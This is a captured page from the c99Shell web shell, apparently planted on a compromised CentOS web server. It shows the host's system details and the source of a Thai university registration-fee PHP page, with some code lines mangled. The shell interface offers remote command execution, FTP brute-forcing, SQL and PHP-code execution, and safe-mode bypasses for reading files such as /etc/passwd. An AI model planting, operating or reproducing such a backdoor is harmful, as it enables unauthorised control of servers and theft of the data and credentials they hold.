!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis/application/views/eregis/   drwxr-xr-x
Free 51 GB of 127.8 GB (39.91%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     v_showFee.php (4.77 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
$row_cur 
= (isset($qu_cur) && $qu_cur!=NULL) ? $qu_cur->row() : NULL;
$row_sy = (isset($qu_sy) && $qu_sy!=NULL) ? $qu_sy->row() : NULL;
$row_tm = (isset($qu_tm) && $qu_tm!=NULL) ? $qu_tm->row() : NULL;
?>
<table width="100%" border="0" align="center" cellpadding="0" cellspacing="0">
    <tr>
        <td><div align="center">
            <table class="szone">
                <tr>
                    <td colspan="2" align="center"><span class="h error">รายการค่าลงทะเบียน<br/><br/></span></td>
                </tr>
                <tr bgcolor="<?php echo $tr_color_even;?>">
                    <td class="coltd_szone"><font size="2"><b>ชื่อหลักสูตร</b></font></td>
                    <td><font size="2"><?php echo setValue('curName',$row_cur);?>
                    <input type="hidden" name="curId" id="curId" value="<?php echo setValue('curId',$row_cur);?>" /></font></td>
                </tr>
                <tr bgcolor="<?php echo $tr_color_even;?>">
                    <td class="coltd_szone"><font size="2"><b>ปีการศึกษา</b></font></td>
                    <td><font size="2"><?php echo $acY;?>
                    <input type="hidden" name="acY" id="acY" value="<?php echo $acY;?>" /></font></td>
                </tr>
                <tr bgcolor="<?php echo $tr_color_even;?>">
                    <td class="coltd_szone"><font size="2"><b>ภาคการศึกษา</b></font></td>
                    <td><font size="2"><?php echo setValue('tmCode',$row_tm);?>
                    <input type="hidden" name="tmId" id="tmId" value="<?php echo setValue('tmId',$row_tm);?>" /></font></td>
                </tr>
                <tr bgcolor="<?php echo $tr_color_even;?>">
                    <td class="coltd_szone"><font size="2"><b>ปีการศึกษาที่เข้า</b></font></td>
                    <td><font size="2"><?php echo isset($adY) ? '-' $adY;?>
                    <input type="hidden" name="adY" id="adY" value="<?php echo $adY;?>" /></font></td>
                </tr>
                <tr bgcolor="<?php echo $tr_color_even;?>">
                    <td class="coltd_szone"><font size="2"><b>ชั้นปี</b></font></td>
                    <td><font size="2"><?php echo ($row_sy!=NULL) ? setValue('syCode',$row_sy) : '-';?>
                    <input type="hidden" name="syId" id="syId" value="<?php echo setValue('syId',$row_sy);?>" /></font></td>
                </tr>
                <tr>
                    <td><br /></td>
                </tr>
                <tr>
                    <td colspan="2"><table class="headCol">
                        <tr>
                            <th class="seqCol"><font color="<?php echo $font_color_table;?>">ลำดับที่</font></th>
                            <th><font color="<?php echo $font_color_table;?>">รายการ</font></th>
                            <th class="amtCol"><font color="<?php echo $font_color_table;?>">จำนวนเงิน</font></th>
                        </tr>
<?php
            $i 
1;
            if(isset(
$arr) && count($arr)) {
                foreach(
$arr as $key => $val) {
                    echo 
"<tr onmouseover=\"bgColor='".$tr_color_even."'\" onmouseout=\"bgColor='".$this->config->item("rg_mouseout")."'\">";
                        if(isset(
$arr[$key]['cmft']) && count($arr[$key]['cmft'])) {
?>
                            <td align="center"><font size="2"><?php echo $i;?></font></td>
                            <td class="indent"><font size="2"><?php echo $arr[$key]['cmft']->feeName;?></font></td>
                            <td align="right"><font size="2"><?php echo number_format($arr[$key]['cmft']->cmftAmt2);?></font></td>
                        </tr>
<?php
                            $i
++;
                        }
                        if(isset(
$arr[$key]['cft']) && count($arr[$key]['cft'])) {
?>
                            <td height="22" align="center"><font size="2"><?php echo $i;?></font></td>
                            <td class="indent"><font size="2"><?php echo $arr[$key]['cft']->feeName;?></font></td>
                            <td align="right"><font size="2"><?php echo number_format($arr[$key]['cft']->cftAmt2);?></font></td>
                        </tr>
<?php
                            $i
++;
                        }

                        if(isset(
$arr[$key]['lec'])) {
?>
                            <td height="22" align="center"><font size="2"><?php echo $i;?></font></td>
                            <td class="indent"><font size="2">ค่าหน่วยกิตภาคทฤษฏี</font></td>
                            <td align="right"><font size="2"><?php echo number_format($arr[$key]['lec'],2);?></font></td>
                        </tr>
<?php
                            $i
++;
                        }
                        if(isset(
$arr[$key]['lab'])) {
                            echo 
"<tr onmouseover=\"bgColor='".$tr_color_even."'\" onmouseout=\"bgColor='".$this->config->item("rg_mouseout")."'\">";

?>
                            <td height="22" align="center"><font size="2"><?php echo $i;?></font></td>
                            <td class="indent"><font size="2">ค่าหน่วยกิตภาคทดลอง/ปฏิบัติ</font></td>
                            <td align="right"><font size="2"><?php echo number_format($arr[$key]['lab'],2);?></font></td>
                        </tr>
<?php
                            $i
++;
                        }
                }
            }
?>
                        <tr>
                            <td colspan="2" align="center" bgcolor="<?php echo $this->config->item('rg_head_tb_headCol');?>"><span class="fontT"><b>รวมเงินที่ต้องชำระทั้งหมด</b></span></td>
                            <td align="right" bgcolor="<?php echo $table_color_even;?>"><?php echo number_format($sumTotal,2);?></td>
                        </tr>
                    </table></td>
                </tr>
            </table></div>
        <br></td>
    </tr>
</table>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0116 ]--